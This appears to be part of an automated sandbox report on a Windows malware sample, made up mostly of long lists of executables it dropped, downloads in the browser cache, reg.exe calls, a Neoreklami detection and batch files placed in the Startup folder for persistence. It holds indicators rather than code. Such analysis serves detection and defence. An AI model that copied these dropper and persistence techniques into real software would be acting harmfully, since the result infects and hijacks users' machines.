Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\wPxPcov2_iRQt91bGzfyQLn0.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\OZYSp_SuS64TdEhCce9XJabD.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\IzXa7ArplEUILx8JLGVvIms1.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\iWX2pBM7OP8AKRlxpYxKCjxp.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\JJ5skLlHHCJQmKA3fqFEF8WX.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\7uuYOubuRuTeu2Z5aoCcHRqr.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\1j9R8lifNJQPOos8jChy96bC.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\rKeuCT5BtcDJi3xnRhdYBXJ0.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\8uJfLKd9Ss22grd4NZfs8ESc.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\sCKRGnz9ufcbydLPdvMHEgfk.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\Vv3eq95tJE23PC8aGlGuTOwU.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\xCrl2X_yjihZJLjlfNXcaGsm.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\GLt6qc3E5xlMIXJ9xyvvME0a.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\0xzSXfvcS_VEarTqOdaPs4ts.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\949yVhltZoP9AEITjUlYclGY.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\3jK_1xVb8VV_A9ZblPqH0VLP.exe	Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\JEeghWLvEc5NBgQe7cVxX86V.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\wPxPcov2_iRQt91bGzfyQLn0.exe	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File created: C:\Users\user\Pictures\360TS_Setup.exe (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\zl9WjeKTxMy8k8EbTBZdpElC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\VEH3hOo7SH8Curivn14XA2XL.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\cbVkxkkdr6gAwr3ezrvUlIvw.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oiii[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Default15_s[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\QAuG4M9OCXilplKuXEar6ygd.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\oZEH3cHEU5SysFjbUbbRDrah.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\0xzSXfvcS_VEarTqOdaPs4ts.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\GEHqSaIn1rPu3OTaMO2vs7UL.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\o2i3jroi23joj23ikrjokij3oroi[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\zPFKv97tg3hm10kOTWpULC1K.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\5FLQaCVJzPf4A255tfj9dVCh.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\j19ppip6hQlQefTQJUWb1E5Y.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\3wIIRe1QiHmGmyDfkt1MdfjR.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\04MMWMll6oQNYP44niQAKG8f.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\iMXraNxDRLg4aVOpMn3cNrIf.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\gsV4lhPLd9AgpTxUWWWokC1J.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\xCrl2X_yjihZJLjlfNXcaGsm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\iuDvaF9Di8V3GPfVdVsLOQc6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\IMmyv1eSkv8WoF4sKRLh3j87.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\default_s[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\vzNIVOaxf0vNgO94DAC9jWgi.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\crt[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\bash.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\b7ii2eIKHIFqIN8jVgqT5jFD.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\1j9R8lifNJQPOos8jChy96bC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\Vv3eq95tJE23PC8aGlGuTOwU.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\ED0F.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\949yVhltZoP9AEITjUlYclGY.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\O6FJxszjCn1zgUzc3ngkew5Q.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\PkqGBlFfXQGSePxTvCIfv7cw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\xCvbsgibKaoe0JrKdFZUHTO3.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\iWX2pBM7OP8AKRlxpYxKCjxp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\H0hJPxhIO3F6BQNxVzuoHmfd.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\EXHYoUWbk2EtGfzPiFxOh4fX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\gX97xQ1DxOEiWzmKIb4DOJWg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\KFwijURKZUrjToqwGsuVqcsD.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\Lxz6buRp1tzgPd3mYM1t5mGJ.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\GLt6qc3E5xlMIXJ9xyvvME0a.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\A6Q2KMdnce3aBm1K21Xc0zdR.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\niko[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File created: C:\Users\user\AppData\Local\Temp\{F0567900-3BBD-4439-A130-BA90A759BDE5}.tmp\360P2SP.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\oabRgCI78gjFIFXr0JEwCrFT.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hvfsedh	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\i3ScmbyFMAYvi3d3SI8x4eUU.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\rCs1RclDFMYQLymrwE3zboPd.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\123p[1].exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FFE8.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\AFlhDPRBYXSdsXlIscLwpPBI.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\IzXa7ArplEUILx8JLGVvIms1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\qoBVbpyFWm3cPk1EQ0W4FQFR.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\PBZVagSpvy50LOBQHCjW6qX9.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Y01cK2OJgtSKgzCj2OAQkixL.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\7uuYOubuRuTeu2Z5aoCcHRqr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\oNUrhYTToLZiF7IoGm0L0Ir9.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\notepad.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\z7qYuSNnmN1T20mVDPQyJKNf.exe	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File created: C:\Users\user\Pictures\360TS_Setup.exe.P2P	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\XxYZdepnteJj9ehuEwVshtV3.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\pkc9Yy7eyXDNxjrdaLkXC1Nw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\eVDrCR1hP70QTfLbRAKhpUOl.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\hmtNBhlQWScQGAc2r9fH2laz.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\3jK_1xVb8VV_A9ZblPqH0VLP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\M5ZhHB9e1LKNIZlvmmjrpriI.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\atieah64.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\JJ5skLlHHCJQmKA3fqFEF8WX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\8ew1ueXT5mhwmZG4bTyHf7GY.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\m1SrljFNqYeH3vArtbYAaVjK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\COdFyPiBcHZ6gr6RgSEauTsj.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\xHjBfoMXM1Bms4i9lirVpf5B.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\TZazqzIjmIm4XQvcJYbdkOMa.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\w0LUzqfajtYxxu1NAEZFwfRY.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\v0F2dmnMQ8GuOxPTeGs09I9Y.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	File created: C:\Users\user\lgX7lgUL1w.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\8uJfLKd9Ss22grd4NZfs8ESc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\bVGflEGYToK4vU6iMb86uQ6v.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\sCKRGnz9ufcbydLPdvMHEgfk.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\auditpol.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\o3bvuCFHWJf8oEmP3T0jhkMM.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\setup294[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\SMjkjKVfovgJQv0DVgLWunVz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\Y8VzUT8xWp3WAsPKChchuKQ1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\6up3Hll278RsXeDsUnv7AmsU.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\OZYSp_SuS64TdEhCce9XJabD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\LAD11vkv57kHfnlhAFxxWdEz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\aqGWEPmkK0B9sJyfEBtpOpuJ.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Users\user\Documents\SimpleAdobe\rKeuCT5BtcDJi3xnRhdYBXJ0.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\jRw9sx4Ek0t13Tr93vMM8tJ1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\JRzNWYaVkGhoqBVKINyNWHZb.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\ByzLwX6bBzV9uMer6vLaibLq.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\oURwiane2EFilQ46IVStlZR3.exe	Jump to dropped file

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

File created: C:\Users\user\lgX7lgUL1w.exe

Jump to dropped file

Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File created: C:\Users\user\Pictures\360TS_Setup.exe.P2P			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hvfsedh			Jump to dropped file

Boot Survival

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8020, type: MEMORYSTR

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

File created: C:\Users\user\lgX7lgUL1w.exe

Jump to dropped file

Drops script or batch files to the startup folder

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CpI1BxUwX4GXv0UQgqj98YFq.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dH9ICyXokcwnq5IDiow3vkKB.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1Ub2k1IJ2t5gUNZveaJnsLim.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lfz7DVXioZ89NNQKMlyzk5D1.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uM7NrUar2CHMPPLhTaEGJaiv.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9KovXimwlIyW3P77uFXo41ye.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TH2edQjI5N96cctLqxcxRWB4.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tEJmB2nPjyQy45rj4ea5hhl3.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lRYDXj1XORWa1yGwgqL1xUtR.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xInHqHgRkuPGfp5esHw9Po4t.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BsDz5LTErOmd8yNfyBTmMVUZ.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Gov6rjgDZRJhjjWExECEmd4R.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsh82zoYXoBpPEndu5XVvQbj.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fDdDwjmSMhosQx3rLX3Nv89G.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mttZ30v22cES8SbTv1OgQiYx.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tYY0jrXY77oGwO5gH1VTslTu.bat	Jump to dropped file
